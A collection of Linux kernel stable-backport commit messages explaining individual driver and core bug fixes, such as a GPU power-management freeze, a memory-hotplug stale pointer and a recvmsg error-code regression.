[ Upstream commit a18f8e97 ] Events defined as watchpoints on nodes must have their config values converted so that they apply to the respective node's XP. The function setting new values was using wrong mask for the "port" field, resulting in corrupted value. Fixed now. Cc: stable@vger.kernel.org # 3.17+ Signed-off-by:

[ Upstream commit 2f1b6b7d ] When receiving a new iser connect request we serialize the pending requests by adding the newly created iser connection to the np accept list and let the login thread process the connect request one by one (np_accept_wait). In case we received a disconnect request before the iser_conn has begun processing (still linked in np_accept_list) we should detach it from the list and clean it up and not have the login thread process a stale connection. We do it only when the connection state is not already terminating (initiator driven disconnect) as this might lead us to access np_accept_mutex after the np was released in live shutdown scenarios.

[ Upstream commit 6dfd1972 ] Laptop with Turks/Thames GPU will freeze if dpm is enabled. It seems the SMC engine is relying on some state inside the CP engine. CP needs to chew at least one packet for it to get in good state for dynamic power management. This patch simply disabled and re-enable DPM after the ring test which is enough to avoid the freeze.

[ Upstream commit e96998fc ] According to the Armada 38x datasheet, the window base address registers value is set in bits [31:4] of the register and corresponds to the transaction address bits [47:20]. Therefore, the 32bit base address value should be shifted right by 20bits and left by 4bits, resulting in 16 bit shift right. The bug as not been noticed yet because if the memory available on the platform is less than 2GB, then the base address is zero.

[ Upstream commit 9c5a18a3 ] Until recently, mac80211 overwrote all the statistics it could provide when getting called, but it now relies on the struct having been zeroed by the caller. This was always the case in nl80211, but wext used a static struct which could even cause values from one device leak to another. Using a static struct is OK (as even documented in a comment) since the whole usage of this function and its return value is always locked under RTNL. Not clearing the struct for calling the driver has always been wrong though, since drivers were free to only fill values they could report, so calling this for one device and then for another would always have leaked values from one to the other. Fix this by initializing the structure in question before the driver method call. This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691 Cc: stable@vger.kernel.org Reported-by:

When hot re-add a node, we will reuse the pgdat of it, so does the zone struct, and when add pages to the target zone, it will init the zone first (including the wait_table) if the zone is not initialized. The judgement of zone initialized is based on zone->wait_table: static inline bool zone_is_initialized(struct zone *zone) { return !!zone->wait_table; } so if we do not set the zone->wait_table to *NULL* after free it, the memory hotplug routine will skip the init of new zone when hot re-add the node, and the wait_table still points to the freed memory, then we will access the invalid address when trying to wake up the waiting people after the i/o operation with the page is done, such as mentioned above.

[ Upstream commit 392bceed ] The driver configures the IDLE condition to interrupt the SDMA engine. Since the SDMA UART ROM script doesn't clear the IDLE bit itself, this caused repeated 1-byte DMA transfers, regardless of available data in the RX FIFO. Also, when returning due to the IDLE condition, the UART ROM script already increased its counter, causing residue to be off by one. This patch clears the IDLE condition to avoid repeated 1-byte DMA transfers and decreases count by when the DMA transfer was aborted due to the IDLE condition, fixing serial transfers using DMA on i.MX6Q.

[ Upstream commit 3f5f1554 ] Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI devices, as they do not have a sink device in them to respond to any AUX traffic. When probing these dongles over the DDC, sometimes they will NAK the first attempt even though the transaction is valid and they support the DDC protocol. The retry loop inside of drm_do_probe_ddc_edid() would normally catch this case and try the transaction again, resulting in success. That, however, was thwarted by the fix for [1]: commit 9292f37e Author: Eugeni Dodonov <eugeni.dodonov@intel.com> Date: Thu Jan 5 09:34:28 2012 -0200 drm: give up on edid retries when i2c bus is not responding This added code to exit immediately if the return code from the i2c_transfer function was -ENXIO in order to reduce the amount of time spent in waiting for unresponsive or disconnected devices. That was possible because the underlying i2c bit banging algorithm had retries of its own (which, of course, were part of the reason for the bug the commit fixes). Since its introduction in commit f899fc64 Author: Chris Wilson <chris@chris-wilson.co.uk> Date: Tue Jul 20 15:44:45 2010 -0700 drm/i915: use GMBUS to manage i2c links we've been flipping back and forth enabling the GMBUS transfers, but we've settled since then. The GMBUS implementation does not do any retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop on first encounter of -ENXIO. This, combined with Eugeni's commit, broke the retry on -ENXIO. Retry GMBUS once on -ENXIO on first message to mitigate the issues with passive adapters. This patch is based on the work, and commit message, by Todd Previte <tprevite@gmail.com>. [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059 v2: Don't retry if using bit banging. v3: Move retry within gmbux_xfer, retry only on first message. v4: Initialize GMBUS0 on retry (Ville). v5: Take index reads into account (Ville).

[ Upstream commit e058c945 ] According to the HSW b-spec we need to try clock divisors of 63 and 72, each 3 or more times, when attempting DP AUX channel communication on a server chipset. This actually wasn't happening due to a short-circuit that only checked the DP_AUX_CH_CTL_DONE bit in status rather than checking that the operation was done and that DP_AUX_CH_CTL_TIME_OUT_ERROR was not set.

[ Upstream commit d114b9fe ] Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily.

[ Upstream commit 5f35b9cd ] Commit 334c86c4 ("MIPS: IRQ: Add stackoverflow detection") added kernel stack overflow detection, however it only enabled it conditional upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so switch it to using that definition instead.

[ Upstream commit 425be567 ] The early_idt_handlers asm code generates an array of entry points spaced nine bytes apart. It's not really clear from that code or from the places that reference it what's going on, and the code only works in the first place because GAS never generates two-byte JMP instructions when jumping to global labels. Clean up the code to generate the correct array stride (member size) explicitly. This should be considerably more robust against screw-ups, as GAS will warn if a .fill directive has a negative count. Using '. =' to advance would have been even more robust (it would generate an actual error if it tried to move backwards), but it would pad with nulls, confusing anyone who tries to disassemble the code. The new scheme should be much clearer to future readers. While we're at it, improve the comments and rename the array and common code. Binutils may start relaxing jumps to non-weak labels. If so, this change will fix our build, and we may need to backport this change.

[ Upstream commit HEAD ] Based on 08adb7da upstream. We found that after v3.10.73, recvmsg might return -EFAULT while -EINVAL was expected. We tested it through the recvmsg01 testcase come from LTP testsuit. It set msg->msg_namelen to -1 and the recvmsg syscall returned errno 14, which is unexpected (errno 22 is expected): recvmsg01 4 TFAIL : invalid socket length ; returned -1 (expected -1), errno 14 (expected 22) Linux mainline has no this bug for commit 08adb7da fixes it accidentally. However, it is too large and complex to be backported to LTS 3.10. Commit 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) made get_compat_msghdr() return error if msg_sys->msg_namelen was negative, which changed the behaviors of recvmsg and sendmsg syscall in a lib32 system: Before commit 281c9c36, get_compat_msghdr() wouldn't fail and it would return -EINVAL in move_addr_to_user() or somewhere if msg_sys->msg_namelen was invalid and then syscall returned -EINVAL, which is correct. And now, when msg_sys->msg_namelen is negative, get_compat_msghdr() will fail and wants to return -EINVAL, however, the outer syscall will return -EFAULT directly, which is unexpected. This patch gets the return value of get_compat_msghdr() as well as copy_msghdr_from_user(), then returns this expected value if get_compat_msghdr() fails.
